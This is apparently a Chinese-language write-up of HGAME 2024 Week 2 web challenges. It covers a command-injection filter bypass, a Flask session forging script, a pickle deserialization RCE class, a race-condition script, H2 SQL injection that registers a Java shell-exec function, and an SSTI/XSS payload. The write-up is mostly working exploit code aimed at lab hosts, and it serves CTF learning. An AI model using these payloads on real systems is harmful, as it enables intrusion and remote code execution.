HGAME2024 Week2 Writeup
Web
What the cow say?
简单的命令注入
过滤了 cat flag
和 |
还有一些常用的命令,但是可以用 $1
进行绕过。
Payload: ca$1t${IFS}/fl$1ag_is_here/fl$1ag_c0w54y
Flag: hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
myflask
Python session伪造+pickle反序列化RCE
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
session伪造脚本
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
# Flask应用的SECRET_KEY
secret_key = "231456"
# 你要修改的session cookie值
session_cookie = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs"
# Flask应用的salt,如果设置了的话;默认情况下Flask使用'signed_cookie'作为salt
salt = 'cookie-session'
# 创建序列化和反序列化的对象
serializer = TaggedJSONSerializer()
signer_kwargs = {
'key_derivation': 'hmac',
'digest_method': 'sha1'
}
s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
# 解码session cookie
decoded_session = s.loads(session_cookie)
# 修改session数据
decoded_session['username'] = 'admin' # 修改用户名为admin
# 重新编码session cookie
new_session_cookie = s.dumps(decoded_session)
print(f"原始session: {session_cookie}")
print(f"修改后的session: {new_session_cookie}")
#原始session: eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs
#修改后的session: eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcD74w.affhGC8UXyyu4j50UIosw1mio8Q
pickle反序列化的exp
import pickle
import base64
import subprocess
class RCE:
def __reduce__(self):
# 使用subprocess.check_output来读取/flag文件的内容
cmd = ('cat', '/flag')
return subprocess.check_output, (cmd,)
# 创建恶意对象
malicious_pickle = pickle.dumps(RCE())
# 编码为Base64
encoded_pickle = base64.b64encode(malicious_pickle).decode()
print(encoded_pickle)
#Pickle_data:gASVMwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5SMA2NhdJSMBS9mbGFnlIaUhZRSlC4=
保险起见,先在自己的服务器上打了一遍(通了),有secret_key方便调试
Secret Key 是类似 221812 的字符串。
之后启动了靶机,估算一下,secret_key 应该在 231450-231500 之间,枚举一下发现是 231456。
用 apifox 发包,得到 flag
POST /flag HTTP/1.1
Host: 47.100.137.175:32523
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcD74w.affhGC8UXyyu4j50UIosw1mio8Q; session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcD7qQ.6XBUbgrVhHiM4npJcpcl3GSSWhs
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 47.100.137.175:32523
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Flag: hgame{addf02e8d9ddbb4eed69f81d4101b2d31805c6c5}
Select More Courses
登录界面提示使用弱密码,我们拿题目给出的提示字典进行弱密码爆破,发现密码是 qwert123
。
接下来进入选课界面,发现有扩学分和选课两个界面。
扩学分直接扩不了,提示 Race Against Time,想到条件竞争漏洞。
from concurrent.futures import ThreadPoolExecutor
import requests
url="http://47.102.130.35:32646"
url_login = url+"/api/auth/login"
url_select=url+"/api/select"
url_expand=url+"/api/expand"
#登录
def get_session():
headers_login = {
"Host": "47.102.130.35:32646",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://47.102.130.35:32646",
"Referer": "http://47.102.130.35:32646/login",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "keep-alive",
}
data = {"username": "ma5hr00m", "password": 'qwert123'}
response = requests.post(url_login, json=data, headers=headers_login)
response_headers=response.headers
session_value = response_headers['Set-Cookie'].split(';')[0].split('=')[1]
print("login done!")
return session_value
session_value=get_session()
print(f"Session value: {session_value}")
#扩学分
def expand(session_value):
headers_expand ={
"Host": "47.102.130.35:32646",
"Content-Length":"23",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://47.102.130.35:32646",
"Referer": "http://47.102.130.35:32646/expand",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Cookie":f"session={session_value}"}
data_expand = {"username":"ma5hr00m"}
response_expand = requests.post(url_expand, json=data_expand, headers=headers_expand)
print(response_expand.content)
print("expand done!")
#选课
def select(session_value):
headers_select ={
"Host": "47.102.130.35:32646",
"Content-Length":"30",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://47.102.130.35:32646",
"Referer": "http://47.102.130.35:32646/select",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Cookie":f"session={session_value}"}
response_select = requests.post(url_select, json=data_select, headers=headers_select)
print("select done!")
with ThreadPoolExecutor(max_workers=20) as executor:
for _ in range(100):
executor.submit(expand, session_value)
executor.submit(select, session_value)
多线程发包在服务器未完成响应的情况下完成扩学分功能,之后去领 flag 就行。
Flag: hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}
search4member
H2数据库 Like 注入。
来自官方 writeup:
注册一个新的 shell 函数:
SJTU%';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws
java.io.IOException { java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter
("\\A"); return s.hasNext() ? s.next() : ""; }$$;SELECT * FROM member WHERE
intro LIKE '%13
将新注册的 shell 函数插入回原表:
SJTU%';INSERT INTO member (id, intro, blog) VALUES
('flag','flag',SHELLEXEC('cat /flag'));SELECT * FROM member WHERE intro LIKE
'%13
读取 flag 回显
flag
Flag: hgame{c434ec279f5354ffa399a046d183ea329f73f77c}
梅开二度
Go语言实现的xss漏洞靶场,waf很严格,我们可以利用dnslog平台读取回显
http端点有三个
- / 参数tmpl 存在较为严格的xss过滤,但是可以使用SSTI+传参绕过实现xss
- /bot 参数url 要求传递url到bot对象,限制要求是127.0.0.1:8080下的端点信息
- /flag 没有参数,对本地访问来源设置flag cookie。
基本思路是让bot访问/flag获得cookie,之后访问/利用tmpl传参获取flag
Cookie是httponly,所以利用document.cookie
无法读取
<!-- SSTI -->
{{this.set("cookie", 'alert(document.cookie)')}}
最后我们的payload
http://47.104.189.35:2020/?tmpl={{this.set(%22cookie%22,%27flag=hgame%7B6f5d8d5371fa0f7e839df1f6f7c2b2f1%7D%27)%22)}}
Flag: hgame{6f5d8d5371fa0f7e839df1f6f7c2b2f1}